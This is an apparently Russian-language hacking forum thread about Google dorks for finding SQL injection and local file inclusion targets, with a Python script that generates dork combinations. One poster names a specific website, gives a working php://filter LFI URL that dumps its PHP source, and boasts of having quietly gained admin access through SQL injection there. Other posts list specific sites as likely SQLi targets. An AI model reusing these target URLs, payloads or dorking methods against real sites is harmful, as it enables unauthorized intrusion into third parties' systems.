Кстати не только SQLi (которые мы все так любим) но и LFI через такие дорки находятся! ;-) (см. выше пример)Спасибо
Дружище, удалили Ez Dork Gen
Спасибо. 100% согласен, давольно-таки очевидный и не маловажный гугл дорк, а с головы вылетел. Но ко всему этому, такие сайты-гиганты относительно фиксятся в принципе любым "site:" доменом за исключением естественно .com
Ну и в купе простых и гугл дорок- таких прицедедентов не выявлялось). мб по этому и запамятовал))) Но да, обязательно берем на заемтку
def read_file(filename):
with open(filename, 'r', encoding='utf-8') as file:
return [line.strip() for line in file]
def generate_dorks(keywords, param1, param2, sites):
dorks = []
for keyword in keywords:
# Базовые запросы с intext и allintext
dorks.append(f'intext:{keyword}')
dorks.append(f'allintext:{keyword}')
for p1 in param1:
# Запросы с intext и allintext + inurl:param1
dorks.append(f'intext:{keyword} inurl:{p1}')
dorks.append(f'allintext:{keyword} inurl:{p1}')
for p2 in param2:
# Запросы с intext и allintext + inurl:param1?param2
dorks.append(f'intext:{keyword} inurl:{p1}?{p2}')
dorks.append(f'allintext:{keyword} inurl:{p1}?{p2}')
for site in sites:
# Запросы с intext и allintext + inurl:param1?param2 + site:site
dorks.append(f'intext:{keyword} inurl:{p1}?{p2} site:{site}')
dorks.append(f'allintext:{keyword} inurl:{p1}?{p2} site:{site}')
return dorks
def write_to_file(dorks, filename):
with open(filename, 'w', encoding='utf-8') as file:
for dork in dorks:
file.write(dork + '\n')
def main():
keywords = read_file('keywords.txt')
param1 = read_file('param1.txt')
param2 = read_file('param2.txt')
sites = read_file('site.txt')
dorks = generate_dorks(keywords, param1, param2, sites)
write_to_file(dorks, 'dorks.txt')
if __name__ == "__main__":
main()Для мелких утилит - золотые слова!
) - тут главное понимать логику и алгоритм чего сделать собираешься (выше вон явно 4 вложенных цикла для генерации всех "комбо" из 4-х источников), зная это - остальное (особенности языка) - нагугливается за 5 минут.Бурп есть и комьюнити, это разДля мелких утилит - золотые слова!
Причём на питоне свет клином не сошёлся, пойдёт любой язык (помню как Perl раньше был в качестве Python сейчас
Но вот Burp Suite (да даже mitmproxy консольный его аналог) например - с этим как быть? тоже свой писать?
Прекрасная статья! Очень ждал!
От себя могу добавить, что кроме SQLi там иногда полезно поискать и LFI.
Товарищи, вот сходу находится LFI - зацените ржаку http://www.eana-net.eu/index.php?page=index - оно будет рекурсивно отрабатывать включая index.php
Думаю все уже догадались что любой сырец PHP там можно получить через PHP фильтры:
http://www.eana-net.eu/index.php?page=PHP://filter/convert.base64-encode/resource=information/../index - вывалит сырец index.php прям в браузер но в base64, декодировать ессно уже дело тривиальное.
SQLi там ну конечно же тоже присутствуют (в апдейте юзера, а зарегаться не проблема), я давно уже там стал "тихим адмиином".
Никогда так быстро ничего не ломал ещё :-D
Просьба: не доламывайте беззащитных европейских астробиологов! глумитесь плиз тихо и незаметно. наука это всё таки "святое", как и медицина.
| https://motorzeitung.de/news.php?newsid=6473060 |
| http://www.xforce-online.de/news.php |
| https://www.india-store.de/store-news.php?language=it |
Здесь нету include потому что... потому что он тут нафиг не нужен, ну подумай как разраб куда параметры пойдут такие, newsid - тут скорее SQLi, иногда редко IDes - типа вместо param=value кинуть param[]=value массив для детекта IDes.
перезалей пожалуйста
чёт уже нет, надо просто залить вот сюда и всего делов http://**************************************************************/
